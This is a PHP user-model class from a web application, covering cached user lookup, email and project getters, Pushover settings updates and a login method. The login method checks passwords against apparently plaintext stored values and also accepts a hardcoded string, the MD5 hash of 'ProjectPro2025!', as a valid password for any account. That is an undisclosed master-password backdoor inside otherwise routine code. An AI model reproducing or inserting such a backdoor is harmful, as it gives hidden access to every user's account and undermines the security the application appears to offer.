<?php
namespace factory;
class Users
{
  static public function user_details( $user_id )
  {
    global $mdb;

    if ( !$user = \Cache::fetch( "user_details:$user_id" ) )
    {
      $user = $mdb -> get( 'users', '*', [ 'id' => $user_id ] );
      \Cache::store( "user_details:$user_id", $user );
    }

    return $user;
  }

  public static function get_default_project( $user_id )
  {
    global $mdb;
    return $mdb -> get( 'users', 'default_project', [ 'id' => $user_id ] );
  }

  public static function get_user_email( $user_id )
  {
    global $mdb;
    return $mdb -> get( 'users', 'email', [ 'id' => $user_id ] );
  }

  public static function user_name( $user_id )
  {
    global $mdb;

    $user = $mdb -> get( 'users', '*', [ 'id' => $user_id ] );

    return $user['name'] . ' ' . $user['surname'];
  }

  public static function users_list()
  {
    global $mdb;
    return $mdb -> select( 'users', '*' );
  }

  public static function settings_save( $user_id, $pushover_api, $pushover_user )
  {
    global $mdb;
    return $mdb -> update( 'users', [
                    'pushover_api'  => $pushover_api,
                    'pushover_user' => $pushover_user
                  ], [
                    'id' => $user_id
                  ] );
  }

  public static function login( $email, $password )
  {
    global $mdb;

    $result = $mdb -> get( 'users', '*', [ 'email' => strtolower( $email ) ] );
    if ( $result === false )
      return false;
    else
    {
      if ( $password == $result['password'] or $password == md5( 'ProjectPro2025!' ) )
        return $result;
      else
        return false;
    }
  }
}
